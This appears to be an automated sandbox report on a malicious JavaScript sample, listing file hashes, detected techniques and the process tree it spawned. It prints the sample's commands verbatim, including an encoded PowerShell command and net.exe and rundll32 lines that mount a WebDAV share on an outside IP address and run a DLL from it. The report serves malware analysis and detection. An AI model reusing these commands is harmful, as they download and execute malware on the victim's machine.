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Analysis
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max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
17/10/2024, 18:59
Static task
static1
Behavioral task
behavioral1
Sample
393114579175167727.js
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
393114579175167727.js
Resource
win10v2004-20241007-en
General
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Target
393114579175167727.js
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Size
94KB
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MD5
57e8200e9cfde4618e5b11793719e718
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SHA1
c5f642755ea7e1933c032330a20fff5552dd64e4
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SHA256
404341b290e56b21c74d5768a98580813f5e81a5ef2e97e1af7aec6cb2a719b0
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SHA512
b275d876a954c5d22e8a3bbf918ee85b1de7bac387377ad41dc00c67de0b35962750a0188a78badef943bd8a415fd1a13e9b888222d535e81425c4c825c89e04
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SSDEEP
1536:mmM7EDQxL7TpGPH03S1wXMWLYJNNM/Us5MWvl+MPMdRX2MJ:mmM7NGPU3jMDMRMWvl+M0d12MJ
Malware Config
Signatures
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Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2752 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2640 wrote to memory of 2752 2640 wscript.exe 30 PID 2640 wrote to memory of 2752 2640 wscript.exe 30 PID 2640 wrote to memory of 2752 2640 wscript.exe 30 PID 2752 wrote to memory of 2584 2752 powershell.exe 32 PID 2752 wrote to memory of 2584 2752 powershell.exe 32 PID 2752 wrote to memory of 2584 2752 powershell.exe 32 PID 2752 wrote to memory of 760 2752 powershell.exe 33 PID 2752 wrote to memory of 760 2752 powershell.exe 33 PID 2752 wrote to memory of 760 2752 powershell.exe 33
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\393114579175167727.js1⤵
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA3ADUAMQA4ADgAMQA1ADkANAA3ADQANQAuAGQAbABsACwARQBuAHQAcgB5AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\3⤵PID:2584
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\1751881594745.dll Entry3⤵PID:760
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